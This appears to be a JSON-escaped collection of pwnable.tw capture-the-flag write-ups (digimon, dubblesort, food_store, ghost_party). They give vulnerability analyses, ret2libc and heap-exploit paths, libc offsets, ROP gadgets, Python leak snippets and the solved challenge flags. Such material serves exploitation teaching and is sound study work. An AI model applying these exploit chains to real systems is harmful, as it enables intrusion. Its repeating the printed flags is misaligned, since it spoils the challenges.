Write `system` to `__free_hook`, then set a partner's nickname to `\"/bin/sh\"` and free it (e.g., kill Toolmon via \"Die for me\" which calls `free(toolmon->nickname)` then `free(toolmon)`).\n - **`__malloc_hook` = one_gadget**: Write a one-gadget to `__malloc_hook`, then trigger `malloc` (e.g., `nick \u003cnew_partner>` allocates 0x80 bytes).\n - **ROP on stack**: Write a ROP chain (`pop rdi; ret; \"/bin/sh\"; system`) to the return address of `nick()` on the main thread's stack.\n\n**Reliability:** ~50% per connection due to heap layout randomness (nickname low-byte alignment must land in another Partner struct). Most solvers retry in a loop.\n\n---\n\n### Path B — Heap Overflow + Toolmon `scanf` Leak → PIE/Canary → `__free_hook`\n\n**Used by:** Solutions 370 (second script), 2311, 9251\n\nThis variant uses V2 (Toolmon scanf leak) in addition to V1:\n\n1. **Leak PIE base** via Toolmon's `scanf` failure: input `\"+\"` as the action → prints uninitialized low-32 stack value; input `\"+\"` as amount → prints high-32 bits. Combine and subtract offset → PIE base.\n\n2. **Leak stack canary** (optional): Talk to Toolmon when adjacent to shop → NPC selection function leaves canary on stack → Toolmon's `scanf(\"%u %u\", &x, &y)` with `\"+ +\"` prints it as coordinates.\n\n3. **With PIE base known**, directly point the corrupted nickname at a GOT entry to leak libc without the heap-scanning egg hunt.\n\n4. **Same finish** as Path A: `__free_hook = system` + free a `\"/bin/sh\"` nickname.\n\n---\n\n### Path C — Heap Overflow + Task Thread Stack BOF\n\n**Used by:** Solution 2311 (noted as primary path)\n\n1. **Trigger V1** to corrupt partner 0's `task_count` to a large value.\n2. **Increase partner 0's potential** massively (buy and use many Potential Arousers) so that each training task's HP gain string is long enough (~133 chars) to overflow `notification_buf[1024]` in the task thread via `strncat`.\n3. **Leak canary** via V2 (Toolmon scanf).\n4. **Write ROP payload** into partner 0's nickname buffer. When the thread's `notification_buf` overflows, it overwrites the thread's stack frame. The nickname content (which contains the ROP chain) ends up overwriting the return address.\n5. **Restore canary null byte** by shortening the nickname.\n6. **Wait ~1 hour** for all queued tasks to complete and the thread to return → ROP fires → shell.\n\n**Downside:** Extremely slow (~3500 seconds wait). The author notes this is impractical compared to Path A.\n\n---\n\n### Path D — Item OOB Read (V3) + Heap Overflow\n\n**Used by:** Solution 2311 (alternative mentioned), 15989 (commented out code)\n\n1. **Leak a code/heap pointer** via `item \u003clarge_index>` which reads OOB from `g_item_names`. Only works if the target memory is mapped (~1/0x2000).\n2. **Proceed with Path A** using the leaked pointer to skip the heap egg-hunt phase.\n\n**Downside:** Very unreliable due to the mapping requirement.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Heap overflow (byte values 1-3) | V1: strtok + task queue OOB | Deterministic |\n| Nickname pointer corruption | V1 overflow reaching `+0x58` | ~50% alignment |\n| PIE base leak | V2: Toolmon scanf | Deterministic (once Toolmon acquired) |\n| Stack canary leak | V2: Toolmon scanf + NPC adjacency | Deterministic |\n| Arbitrary R/W | Corrupted nickname → overlapping struct | After successful alignment |\n| GOT/libc leak | Arbitrary read on GOT or heap pointers | Deterministic after arb R/W |\n| Code execution | `__free_hook`/`__malloc_hook` or stack ROP | Deterministic after arb R/W |\n\n## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\nenviron = 0x3c5f38\nsystem = 0x45390\n__free_hook = 0x3c57a8\n__malloc_hook = 0x3c3b10\nbin_sh = 0x18c177\npop_rdi = 0x21102 # pop rdi; ret\none_gadgets = [0x4526a, 0xef6c4, 0xf0567]\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `370.md` | A + B | strtok → heap egg-hunt → stack ROP | Two full scripts; detailed writeup |\n| `821.md` | A + B | strtok → `__free_hook` | PIE leak via scanf, canary leak, massive game automation |\n| `2311.md` | A (+ C) | strtok → heap overlap → `__malloc_hook` | Most detailed bug analysis; also describes thread BOF path |\n| `3148.md` | A + B | strtok → `__free_hook` | Concise; PIE leak via scanf; overwrite free_hook → system |\n| `3498.md` | A | strtok → heap overlap → `__free_hook` | Detailed data structure analysis; heap spray + brute N |\n| `7905.md` | A | strtok → heap overlap → `__malloc_hook` | Methodical; nickname all partners to control heap layout |\n| `8153.md` | A + B | strtok → `__free_hook` | PIE base leak via scanf; libc leak via GOT |\n| `9251.md` | A + B | strtok → `__malloc_hook` (+ thread BOF) | Documents thread BOF path (1hr wait); leaks via image cache + pthread |\n| `15989.md` | A | strtok → heap scan → libc leak → `__free_hook` | Simple approach; scans heap for libc pointer |\n| `31599.md` | A + B | strtok → arb R/W → `__malloc_hook` | Extensive game automation with digimon tracking |\n| `34817.md` | A | strtok → heap overlap → libc leak → `__malloc_hook` | Clean code; uses one_gadget |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `digimon.c` | Reconstructed C source (logic-equivalent, from Ghidra) |\n| `exp.py` | Working exploit script |\n| `desc.txt` | Challenge description |\n| `artifacts/digimon.tar.gz` | Original challenge binary |\n| `artifacts/libc_64.so.6` | Remote libc (glibc 2.23) |\n| `solution/*.md` | Community write-ups (11 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14870,"content_sha256":"4875964a9fae05c9ceb2a93b4e204aa240353ffeda4d9aa19b275044f2982503"},{"filename":"pwnable-tw/dubblesort.md","content":"---\ntags:\n - canary-bypass\n - stack-buffer-overflow\n - ret2libc\nplatform: pwnable.tw\npoints: 300\narch: i386\nlibc: glibc-2.23\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Sending non-digit input to scanf skips array slot assignment without writing, bypassing the stack canary during sorting and allowing ret2libc.\"\nproof-of-concept: no\n---\n\n# dubblesort — pwnable.tw (300 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10101`\n>\n> Flag: `FLAG{Dubo_duBo_dub0_s0rttttttt}`\n\n## Challenge Overview\n\nA 32-bit bubble-sort program (i386, Full RELRO, PIE, NX, Stack Canary, FORTIFY) built against glibc 2.23. It reads a name, asks how many unsigned integers to sort, reads them into a fixed-size stack buffer, bubble-sorts them, and prints the result.\n\n```bash\nchecksec:\n Arch: i386-32-little\n RELRO: Full RELRO # GOT read-only\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n FORTIFY: Enabled\n```\n\n## Program Logic (Decompiled)\n\n```c\nint main() {\n unsigned int canary = __readgsdword(0x14u);\n unsigned int count; // [esp+0x18]\n int array[24]; // [esp+0x1c] — 0x60 bytes\n char name_buf[0x40]; // [esp+0x3c] — overlaps array!\n // canary at [esp+0x7c] == array[24]\n\n printf(\"What your name :\");\n read(0, name_buf, 0x40); // V1: no NUL terminator\n printf(\"Hello %s,...\"); // leaks uninitialized stack data\n\n scanf(\"%u\", &count); // no upper-bound check\n for (i = 0; i \u003c count; i++) { // V2: writes past array[24]\n printf(\"Enter the %d number : \");\n scanf(\"%u\", &array[i]); // V3: non-numeric input skips write\n }\n bubble_sort(array, count);\n // print sorted results...\n}\n```\n\n**Key stack layout** (offsets from `esp`):\n\n| Offset | Content |\n|--------|---------|\n| `0x1c` | `array[0]` |\n| `0x3c` | `name_buf` (overlaps `array[8]`..`array[23]`) |\n| `0x7c` | Stack canary = `array[24]` |\n| `0x80`–`0x98` | Saved registers / padding (7 dwords) = `array[25]`..`array[31]` |\n| `0x9c` | **Saved return address** = `array[32]` |\n| `0xa0` | First argument to return-target = `array[33]` |\n\n## Vulnerabilities\n\n### V1 — Uninitialized Name Buffer Leaks libc Address\n\n**Root Cause:** `read(0, name_buf, 0x40)` does NOT NUL-terminate the input. The name buffer at `esp+0x3c` overlaps the stack area where a libc data-segment pointer resides at `esp+0x54` (= `name_buf+0x18`, = `array[14]`). This pointer equals `libc_base + 0x1b0000` (the start of libc's `.got.plt` / RW segment), which is page-aligned so its low byte is always `0x00`.\n\n```c\nread(0, &buf, 0x40u); // does NOT append NUL\n__printf_chk(1, \"Hello %s,...\"); // %s reads until NUL → leaks past input\n```\n\n**Trigger:** Send exactly 24–28 bytes of padding (e.g., `\"A\"*24` + newline or `\"A\"*28`). The `\\n` or padding overwrites the `0x00` low byte. `printf(\"%s\")` then prints through the padding into the libc pointer's upper 3 bytes.\n\n**Impact:** Leak 3 high bytes of `libc_base + 0x1b0000`. Since the low byte is known (`0x00`), reconstruct the full pointer → compute `libc_base`.\n\n```python\n# Typical leak code from solutions\nr.send(b\"A\" * 24 + b\"\\n\")\nr.recvuntil(b\"A\" * 24 + b\"\\n\")\nlibc_leak = u32(b\"\\x00\" + r.recv(3)) # restore known 0x00 low byte\nlibc_base = libc_leak - 0x1b0000\n```\n\n**Variant (28-byte leak):** Some solutions send 28 bytes (`\"A\"*28`) and read a full 4-byte dword at `name_buf+0x1c`. This leaks a different libc pointer (`libc_base + 0x1ae244`, the `__libc_start_main` return path). Both approaches work.\n\n### V2 — Unbounded Array Write (Stack Buffer Overflow)\n\n**Root Cause:** The `count` variable has no upper bound check. The program reads `count` unsigned integers into `array[24]` with no bounds validation, allowing writes past the 24-element buffer into the canary, saved registers, return address, and beyond.\n\n```c\nscanf(\"%u\", &count); // user controls count, no max check\nfor (i = 0; i \u003c count; i++)\n scanf(\"%u\", &array[i]); // writes to array[0]..array[count-1]\n```\n\n**Impact:** Direct stack buffer overflow. With `count >= 35`, the attacker can overwrite:\n- `array[24]` = stack canary\n- `array[25]`–`array[31]` = saved registers / padding\n- `array[32]` = **return address**\n- `array[33]` = first argument to the called function\n- `array[34]` = second argument / further chain\n\n### V3 — `scanf(\"%u\")` Canary Bypass via Non-Numeric Input\n\n**Root Cause:** When `scanf(\"%u\", &dst)` encounters input that is not a valid unsigned integer (like `\"+\"`, `\"-\"`, `\"a\"`, `\"nope\"`), it returns **without writing** to the destination. The existing stack value (the canary) is preserved.\n\n```c\n// When user inputs \"+\" for array[24]:\nscanf(\"%u\", &array[24]); // scanf returns 0, array[24] unchanged\n// The real canary at this position survives!\n```\n\n**Impact:** The attacker can skip overwriting the canary at `array[24]` by sending a non-numeric string. The canary check at function epilogue passes.\n\n**Note:** `\"+\"` and `\"-\"` are the cleanest choices — they are consumed from the input stream (unlike `\"a\"` which stays in the buffer and can cause `scanf` to loop forever on subsequent calls).\n\n### V4 — Bubble Sort Constraint on Payload\n\n**Not a vulnerability** but a critical exploit constraint. After all numbers are written, the array is bubble-sorted in ascending order (unsigned comparison). The payload must be crafted so that after sorting, the values land at the correct stack positions:\n\n- `array[0]`–`array[23]`: Must be ≤ canary (fill with `0` or small values)\n- `array[24]`: Canary (preserved via V3, must stay in place)\n- `array[25]`–`array[31]`: Must be ≥ canary and ≤ `system` address\n- `array[32]`: `system` address (return address)\n- `array[33]`+: `\"/bin/sh\"` address (argument)\n\nSince `system` and `\"/bin/sh\"` are both in the `0xf7xxxxxx` range and `canary` is random, the sort order is usually: `{zeros} \u003c canary \u003c system \u003c bin_sh`. This works ~97% of the time. The ~3% failure case is when `canary > bin_sh`, causing the values to mis-sort.\n\n## Exploit Path — ret2libc via Stack Overflow + Canary Bypass\n\n**Used by:** All 168 solutions (unanimous approach with minor variations)\n\n**Steps:**\n\n1. **Leak libc base (V1):** Send 24–28 `'A'` bytes as the name. `printf(\"%s\")` leaks past the input into a libc data-segment pointer on the stack. Mask and subtract `0x1b0000` to get `libc_base`.\n\n2. **Compute addresses:**\n ```python\n system = libc_base + 0x3a940\n bin_sh = libc_base + 0x158e8b\n ```\n\n3. **Request 35 numbers (V2):** This gives enough slots to overflow past the canary and return address.\n\n4. **Fill payload surviving bubble sort:**\n - Indices 0–23: `0` (small values, sort to bottom)\n - Index 24: `\"+\"` — bypasses canary via V3\n - Indices 25–33: `system` address (9 copies ensure it covers the return address at index 32 after sorting)\n - Index 34: `\"/bin/sh\"` address (argument to `system()`)\n\n5. **After sort, stack looks like:**\n```text\n [0, 0, ..., 0, canary, system, system, ..., system, bin_sh]\n ^--- 24 ---^ ^24 ^--- indices 25..33 ---^ ^34\n```\n Main returns → `system(\"/bin/sh\")` → shell.\n\n**Reliability:** ~97% per connection (fails only when random canary > `\"/bin/sh\"` address, causing mis-sort).\n\n### Variations Across Solutions\n\n| Variation | Solutions | Description |\n|-----------|-----------|-------------|\n| **24-byte name leak** | ~60% | Send `\"A\"*24`, leak 3 bytes after `\\n`, reconstruct with `\\x00` low byte. Offset `0x1b0000`. |\n| **28-byte name leak** | ~30% | Send `\"A\"*28`, leak full 4-byte dword at different offset. Offset `0x1ae244`. |\n| **Canary skip with `\"+\"`** | ~80% | Most popular; cleanly consumed by `scanf`. |\n| **Canary skip with `\"-\"`** | ~10% | Same mechanism as `\"+\"`. |\n| **Canary skip with `\"a\"`/`\"nope\"`** | ~10% | Works but can leave chars in input buffer. |\n| **Two-round exploit** | Solution 1384, 13484 | First round: overflow with `main` addr + `\"+\"` to leak canary from sorted output. Second round: use known canary for precise placement. More complex, no real advantage. |\n| **PIE leak** | Solution 1384, 13060 | 28-byte name also leaks a binary address at `name_buf+0x20`. Used to compute `main` for the two-round approach. |\n| **Fill pattern: 9×system + bin_sh** | ~70% | Most common; system is replicated to cover indices 25–33. |\n| **Fill pattern: 8×system + 2×bin_sh** | ~20% | Adds extra `bin_sh` for safety. |\n| **Large count (40–50)** | ~15% | Over-allocates slots; uses `0xFFFFFFFF` or large values after the payload. |\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| libc data-segment leak | V1: uninitialized `name_buf` + `printf(\"%s\")` | Deterministic |\n| Stack overflow past canary | V2: unbounded `count` in array write loop | Deterministic |\n| Canary preservation | V3: `scanf(\"%u\")` skips write on non-numeric input | Deterministic |\n| ret2libc (`system(\"/bin/sh\")`) | Payload survives ascending bubble sort | ~97% (canary-dependent) |\n\n## Offsets (pwnable.tw `libc_32.so.6`, glibc 2.23 i386)\n\n```python\n# Leak offset (libc RW segment / .got.plt start)\nlibc_data_segment = 0x1b0000 # via 24-byte name leak\nlibc_start_main_ret = 0x1ae244 # via 28-byte name leak (alternative)\n\n# Exploitation\nsystem = 0x3a940\nbin_sh = 0x158e8b # \"/bin/sh\" string in libc\n```\n\n## Solution Write-ups\n\n| File | Leak Method | Canary Bypass | Notes |\n|------|-------------|---------------|-------|\n| `138.md` | 24-byte, Ruby | `\"+\"` | Ruby pwnlib; converts to signed for negative addrs |\n| `100.md` | 24-byte `\"A\"*24+\"Z\"` | `\"a\"` | Brute-force retry loop; unsorted payload order |\n| `1006.md` | 24-byte | `\"nope\"` | Notes 3-byte leak limitation on remote |\n| `1172.md` | 24-byte | `\"+\"`/no-byte | Simple approach with inline Chinese notes |\n| `1220.md` | 24-byte | `\"-\"` | Clean minimal exploit |\n| `1251.md` | 24-byte | `\"-\"` | Minimal; debug flag for local/remote offsets |\n| `1269.md` | 25-byte | `\"+\"` | Uses pwntools `libc.symbols` |\n| `1316.md` | 24-byte | `\"zz\"` | Uses `libc.search('/bin/sh')` |\n| `1351.md` | 24-byte | `\"+\"` | Notes `scanf` \"+-\" behavior explicitly |\n| `1384.md` | **Two-round** | Reads canary from sorted output | Leaks PIE base too; re-runs main |\n| `1428.md` | 23+`\"B\"` byte | `\"+\"` | Full 4-byte dword leak via `\"B\"` marker |\n| `10115.md` | 28-byte | `\"+\"` | Uses offset `0x1ae244` for 28-byte variant |\n| `10302.md` | 25-byte | `\"-\"` | Clean Python3 exploit |\n| `11540.md` | 28-byte | `\"a\"` | Brute-force canary validation; ~70% success claim |\n| `12245.md` | 28-byte | `\"+\"` | Chinese writeup with detailed stack analysis |\n| `12973.md` | — | — | One-liner summary: unlimited size + non-number canary bypass |\n| `13060.md` | 28-byte | `\"-\"` | Full pwntools template with `libc_base-1` padding |\n| `13484.md` | **Two-round** | Reads canary from sorted output | Uses magic gadget instead of system |\n| `14479.md` | 28-byte | `\"+\"`/`\"scanf bypass\"` | Messy padding with `0xf0000000` values; leak includes binary base |\n| `15134.md` | 28-byte | `\"+\"` | Clean with explicit offset derivation from `readelf` |\n| `15273.md` | 24-byte | `\"+\"` | Detailed writeup explaining all three bugs |\n| `15724.md` | Detailed stack analysis | `\"+\"` | Chinese writeup with `vmmap` / `readelf` analysis |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (pure sockets, no pwntools) |\n| `desc.txt` | Challenge description |\n| `artifacts/dubblesort` | Original challenge binary (i386) |\n| `artifacts/libc_32.so.6` | Remote libc (glibc 2.23, i386) |\n| `solution/*.md` | Community write-ups (168 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":11824,"content_sha256":"85e120d2faca3cd704b922e49c53f6718aae9a789a19c7b190cf3a4bf55e75a6"},{"filename":"pwnable-tw/food_store.md","content":"---\ntags:\n - heap-buffer-overflow\n - unsorted-bin-attack\n - house-of-orange\nplatform: pwnable.tw\npoints: 500\narch: x86-64\nlibc: glibc-2.24\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A heap buffer overflow in recipe parsing corrupts heap metadata to trigger House of Orange and overwrite _IO_FILE jump tables in glibc 2.24.\"\nproof-of-concept: no\n---\n\n# Food Store — pwnable.tw (500 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10406`\n>\n> Flag: `FLAG{C4ptur3_th3_Fl4g_c4ptuR3_the_f00d}`\n\n## Challenge Overview\n\nA menu-driven \"food store\" game binary (x86-64, PIE, Full RELRO, NX, Stack Canary) running on Ubuntu 17.04 with glibc 2.24 (no tcache). The player manages recipes, cooks dishes, buys/sells ingredients at a shop, completes NPC assignments, and earns levels/power/money. A seccomp sandbox restricts syscalls to `open`/`read`/`write`/`close`/`mmap`/`munmap`/`exit` — no `execve`.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT read-only\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n Seccomp: open/read/write/close/mmap/munmap/exit only\n```\n\n### Key Structures\n\n```c\nstruct recipe { // 0x90 bytes (malloc'd)\n char name[24]; // +0x00 (scanf \"%23s\")\n ingredient *ings[13]; // +0x18 (pointers to ingredient structs)\n recipe *next; // +0x80 (singly-linked list)\n};\n\nstruct ingredient { // 0x30 bytes (calloc'd or custom)\n char name[32]; // +0x00\n int price; // +0x20\n int quantity; // +0x24\n};\n\nstruct dish { // 0x40 bytes (malloc'd when cooking)\n char name[24]; // +0x00\n int price; // +0x18\n int energy; // +0x1c\n dish *next; // +0x20 (singly-linked list)\n};\n```\n\n## Vulnerabilities\n\n### V1 — Uninitialized `recipe->next` Pointer (Primary, Exploitable)\n\n**Root Cause:** When `add_recipe()` allocates a new recipe struct via `malloc(0x90)`, the `next` pointer at offset `+0x80` is **never initialized**. If the chunk was previously used and freed, stale heap metadata (fd/bk pointers) or user-controlled data persists in that region.\n\n```c\n// add_recipe (simplified)\nrecipe *r = malloc(sizeof(recipe)); // 0x90 bytes\nscanf(\"%23s\", r->name); // name is written\n// ... ingredient pointers are set ...\n// r->next is NEVER set to NULL\nrecipe_head->next = r; // inserted into linked list with stale next\n```\n\n**Impact:** By carefully sequencing allocations and frees so that the 0x90-byte chunk is reused with controlled data at offset `+0x80`, an attacker can make `recipe->next` point to an arbitrary address. This gives:\n\n- **Fake linked-list entries**: `show_recipe()` and `remove_recipe()` traverse the corrupted list, reading/freeing attacker-controlled addresses.\n- **Arbitrary free**: `remove_recipe()` frees the fake recipe chunk at the attacker-chosen address.\n- **Heap/libc/stack leaks**: Recipe names and ingredient data from fake list entries are printed, leaking pointers.\n\n### V2 — Overlapping Allocation Sizes (Enabler)\n\nDish structs are 0x40 bytes and recipe structs are 0x90 bytes. By cooking dishes then freeing them, and then allocating recipes (or vice versa), chunks of different sizes can be arranged so that a recipe's `next` field overlaps with data written into a previously-freed dish or ingredient chunk.\n\n### V3 — Ingredient Type Confusion via Shop (Minor, Money/Power)\n\nWhen making a custom ingredient and then buying the same slot, the custom ingredient (with a random high price) replaces the standard one. Cooking a recipe with this ingredient produces a dish worth enormous money and energy, enabling the grind needed for further allocations.\n\n## Exploit Paths\n\nAll solutions require significant \"game grind\" to accumulate levels, power, and money needed to perform enough allocations. The flag file is pre-opened as fd 3 by the binary, and seccomp blocks `execve`, so all paths end with an ORW (open/read/write) ROP chain reading the flag.\n\n---\n\n### Path A — Uninitialized `next` → Heap/Libc Leak → `__free_hook` = `setcontext` → ORW ROP\n\n**Used by:** Solutions 370, 8153, 31599, 37709\n\n**Steps:**\n\n1. **Grind:** Cook, eat, complete assignments to reach level 4+ with enough money.\n2. **Heap leak:** Sequence allocations/frees so a recipe's uninitialized `next` points to a freed chunk containing a heap address. `show_recipe()` or the cook menu prints this as a recipe title → **heap base**.\n3. **Libc leak:** Point a fake recipe's ingredient list at a freed large/unsorted bin chunk that contains `main_arena` pointers. The ingredient display or recipe title leaks a libc address → **libc base**.\n4. **ORW ROP layout:** Create multiple recipes whose 24-byte names each hold 2 ROP gadgets + an `add rsp, 0x60; pop; pop; pop; ret` slide to chain them.\n5. **Overwrite `__free_hook`:** Link `__free_hook - 0x80` into the recipe list via the uninitialized-next trick. When `remove_recipe()` \"unlinks\" this fake recipe, it writes a heap pointer to `__free_hook`, which is then overwritten with `setcontext+0x35`.\n6. **Trigger:** Free a chunk whose `+0xa0` field points to the ROP chain. `setcontext` pivots rsp → ORW ROP runs → `read(3, buf, 0x100)` + `write(1, buf, 0x100)` → flag on stdout.\n\n---\n\n### Path B — Uninitialized `next` → `_dl_open_hook` Hijack → `gets` → ORW ROP\n\n**Used by:** Solutions 2311, 22319, 31599 (alternative)\n\n1. **Heap + libc leak:** Same as Path A (uninitialized `next` → bin pointer leaks).\n2. **Write-what-where:** The uninitialized-next primitive gives the ability to write a heap pointer to any address containing a zero. Target `_dl_open_hook` (a function pointer table used during `dlopen`/abort).\n3. **Trigger abort:** Free an invalid/fake chunk address → glibc detects corruption → calls `__libc_message` → `backtrace` → `_dl_open_hook->dlopen_mode()` → controlled call.\n4. **Pivot + `gets`:** The controlled call targets a gadget like `call [rax+0x48]` with `gets` at that offset. `gets()` reads an ORW ROP chain onto the stack/heap → flag.\n\n---\n\n### Path C — Uninitialized `next` → `__realloc_hook` = `leave; ret` → Stack Pivot → ORW ROP\n\n**Used by:** Solutions 8153, 37709\n\n1. **Leak heap + libc** via the same uninitialized-next technique.\n2. **Link `__realloc_hook - 0x80` into the recipe list.** Use `remove_recipe()` unlink to write `leave; ret` gadget to `__realloc_hook`.\n3. **Prepare ROP payload** in a heap region (recipe names + `gets` address).\n4. **Trigger `realloc(ptr, 0)`:** The `remove_recipe` internally calls `realloc` → `__realloc_hook` fires → `leave; ret` pivots rsp to a heap-based ROP chain containing `gets`.\n5. **`gets` reads the final ORW ROP** → `read(3, heap, 0x100)` + `write(1, heap, 0x100)` → flag.\n\n---\n\n### Path D — Unsorted Bin Attack → Corrupt `stdin->_IO_buf_end` → Stack Overwrite → ORW ROP\n\n**Used by:** Solutions 1351, 755\n\n1. **Leak heap + libc** via uninitialized-next.\n2. **Unsorted bin attack:** Corrupt unsorted bin `bk` to point to `stdin->_IO_buf_end - 0x10`. Next allocation from the unsorted bin writes `main_arena` address over `_IO_buf_end`, extending stdin's internal buffer to cover a large writable region.\n3. **Stack leak:** Use the extended stdin buffer or read `__environ` via fake recipe to leak a stack address.\n4. **Overwrite stack via stdin:** The next `scanf` reads past the original buffer boundary, writing directly onto the stack. Inject a `leave; ret` + ORW ROP chain into the return address region.\n5. **Return → ROP → flag.**\n\n---\n\n### Path E — FSOP via `fclose` on Flag FILE → `_IO_str_overflow` → `setcontext` → ORW ROP\n\n**Used by:** Solutions 821, 36997, 2972\n\n1. **Leak heap + libc** via uninitialized-next.\n2. **Free the flag FILE struct:** Point the fake recipe list at the `FILE *` for the pre-opened flag (on the heap). `remove_recipe()` frees it into the unsorted bin.\n3. **Reallocate over the freed FILE:** Use `make_ingredient` (shop menu) to allocate chunks that overlap the freed FILE struct. Forge a fake `_IO_FILE_plus` with:\n - Vtable pointing to `_IO_str_jumps - 0x10` (so `__overflow` slot → `setcontext+0x35`)\n - `_IO_buf_base` set to heap address containing ROP chain\n4. **Trigger `fclose` or `exit`:** The program calls `fclose(f_flag)` on exit → `_IO_OVERFLOW` dispatches through the fake vtable → `setcontext` pivots stack → ORW ROP → flag.\n\n---\n\n### Path F — Modify `stdin->fd` from 0 to 3 → `scanf` Reads Flag Directly\n\n**Used by:** Solution 408\n\n1. **Leak heap + libc** via uninitialized-next + ingredient type confusion.\n2. **Corrupt ingredient pointer:** Make an ingredient whose address overlaps with `stdin->fd - 0x24` (so that the ingredient's `quantity` field aliases `stdin->fd`).\n3. **Increment `stdin->fd`:** Visit the shop to trigger a \"restock\" operation that increments the quantity field, changing fd from 0 to 3.\n4. **`scanf(\"%23s\")` in `add_recipe`** now reads from fd 3 (the flag file) instead of stdin → flag becomes the recipe name → printed by `show_recipe()`.\n\n**Elegance:** This path avoids ROP entirely — one byte change to `stdin->fd` makes the flag appear as a recipe title.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Uninitialized `recipe->next` | V1: stale heap data in malloc'd 0x90 chunk | Deterministic (with careful heap feng shui) |\n| Arbitrary address in linked list | V1 applied: control `next` via prior allocation | After heap layout control |\n| Heap address leak | Fake list entry → printed as recipe title | Deterministic |\n| Libc leak | Unsorted/large bin fd/bk in fake recipe | Deterministic |\n| Arbitrary free | `remove_recipe()` on fake list entry | After list corruption |\n| Code execution | `__free_hook`/`__realloc_hook`/`_dl_open_hook`/FSOP | Deterministic after leaks |\n| Flag read | ORW ROP (seccomp blocks execve) | Deterministic |\n\n## Offsets (Ubuntu 17.04 libc 2.24-9ubuntu2.2)\n\n```python\nmain_arena = 0x3C1B00\n__free_hook = 0x3C3788\n__realloc_hook = 0x3C3778 # (also __memalign_hook - 0x10)\n_dl_open_hook = 0x3C6F48\nsetcontext = 0x48045 # mov rsp, [rdi+0xa0]; ...; ret\npop_rdi = 0x1FD7A\npop_rsi = 0x1FCBD\npop_rdx = 0x1B92\npop_rax = 0x3A998\nsyscall_ret = 0xBC765 # syscall; cmp rax, -0xfff; jae; ret\nadd_rsp_0x60_pop3 = 0xF8766 # add rsp, 0x60; pop rbx; pop rbp; pop r12; ret\nleave_ret = 0x424A5\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `370.md` | A | Uninit next → large bin leak → `__realloc_hook` + `setcontext` → ORW | Uses ctypes to predict RNG for assignment timing |\n| `821.md` | E | Uninit next → free flag FILE → FSOP `_IO_str_overflow` → `setcontext` | Frees `f_flag` FILE struct, forges vtable |\n| `2311.md` | B | Uninit next → `_dl_open_hook` → abort trigger → `gets` → ORW | Writes heap ptr to `_dl_open_hook`, triggers via bad free |\n| `755.md` | D | Uninit next → unsorted bin attack → corrupt `stdin->_IO_buf_end` → stack ROP | Extends stdin buffer to overwrite stack |\n| `408.md` | F | Ingredient type confusion → modify `stdin->fd` 0→3 → scanf reads flag | Elegant: no ROP, flag becomes recipe title |\n| `1351.md` | D | Uninit next → unsorted bin attack → stdin corruption → stack overwrite | Similar to 755 with different layout |\n| `8033.md` | A | Uninit next → `__free_hook` = `gets` → stack pivot → ORW | Overwrites `__free_hook` with `gets`, then reads ROP |\n| `8153.md` | A | Uninit next → `__free_hook` = `setcontext` → ORW | Clean implementation of Path A |\n| `9251.md` | B + C | Uninit next → `_dl_open_hook` → `setcontext` → `gets` → ORW | Uses `authdes_marshal` gadget for call primitive |\n| `22319.md` | B | Uninit next → `_dl_open_hook` → `setcontext+53` → `gets` → ORW | Leaked libc from `_IO_2_1_stderr_` on heap |\n| `31599.md` | A | Uninit next → large bin leak → `__free_hook` via unlink → `setcontext` → ORW | Detailed, creates ORW spread across recipe titles |\n| `36134.md` | B | Uninit next → `_dl_open_hook` → `gets` → ORW | Made custom ingredient for high price/power exploit |\n| `36997.md` | E | Uninit next → free flag FILE → FSOP → `setcontext` → ORW | `_IO_str_overflow` with fake vtable |\n| `37709.md` | C | Uninit next → `__realloc_hook` = `leave; ret` → heap pivot → `gets` → ORW | Stack pivot via `leave; ret` in `__realloc_hook` |\n| `2972.md` | E | Uninit next → free flag FILE → FSOP `_IO_str_overflow` → `setcontext` | Similar to 821, heap spray for FILE overlap |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (socket-based, pipelined for 60s alarm) |\n| `desc.txt` | Challenge description |\n| `artifacts/food_store` | Original challenge binary |\n| `solution/*.md` | Community write-ups (15 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":13093,"content_sha256":"ce1d74aa7ac201213da3ba21918459925b6051f114de4eb1541056f223913265"},{"filename":"pwnable-tw/ghost_party.md","content":"---\ntags:\n - type-confusion\n - use-after-free\n - vtable-hijack\nplatform: pwnable.tw\npoints: 400\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Reallocating mismatched C++ derived class objects into freed slots leads to type confusion, enabling vtable redirection to system.\"\nproof-of-concept: no\n---\n\n# Ghost Party — pwnable.tw (400 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10401`\n>\n> Flag: `FLAG{D0n7_f0g07_7H3_c0pY_c0Ns7Ruc70R}`\n\n## Challenge Overview\n\nA C++ ghost management program (x86-64, PIE, Full RELRO, NX, Stack Canary) built against glibc 2.23. Source code (`ghostparty.cpp`) is provided. The player manages a `vector\u003cGhost*> ghostlist` of polymorphic ghost objects — 10 